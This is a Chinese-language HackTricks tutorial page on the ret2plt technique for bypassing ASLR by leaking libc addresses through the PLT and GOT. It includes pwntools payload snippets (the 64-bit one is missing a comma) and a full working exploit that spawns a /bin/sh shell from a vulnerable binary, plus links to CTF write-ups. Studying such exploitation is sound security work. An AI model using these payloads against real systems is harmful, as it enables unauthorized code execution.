# Ret2plt

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

该技术的目标是**从PLT中泄漏函数的地址**，以便绕过ASLR。这是因为，例如，如果您泄漏了libc中`puts`函数的地址，那么您可以**计算出`libc`的基址**，并计算偏移量以访问其他函数，如\*\*`system`\*\*。

可以使用`pwntools`负载来实现此目的（[**参见此处**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)）：

```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```

请注意，使用 PLT 中的地址调用 **`puts`** 时，会传入位于 GOT（全局偏移表）中的 `puts` 地址。这是因为当 `puts` 打印 `puts` 的 GOT 条目时，该 **条目将包含内存中 `puts` 的确切地址**。

还要注意，在利用中使用了 `main` 的地址，因此当 `puts` 结束执行时，**二进制文件会再次调用 `main` 而不是退出**（因此泄漏的地址将继续有效）。

{% hint style="danger" %}
请注意，为了使此方法有效，二进制文件**不能使用 PIE 编译**，或者您必须**找到一个泄漏以绕过 PIE**，以便了解 PLT、GOT 和 main 的地址。否则，您需要先绕过 PIE。
{% endhint %}

您可以在[**此处找到此绕过的完整示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。这是该**示例**中的最终利用：

```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()
```

## 其他示例和参考资料

* <https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html>
* 64位，启用ASLR但没有PIE，第一步是填充溢出直到canary的字节0x00，然后调用puts并泄漏它。使用canary创建ROP小工具来调用puts以从GOT中泄漏puts的地址，然后调用一个ROP小工具来调用`system('/bin/sh')`。
* <https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html>
* 64位，启用ASLR，没有canary，在一个子函数中main中的栈溢出。ROP小工具调用puts以泄漏GOT中puts的地址，然后调用一个one gadget。

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
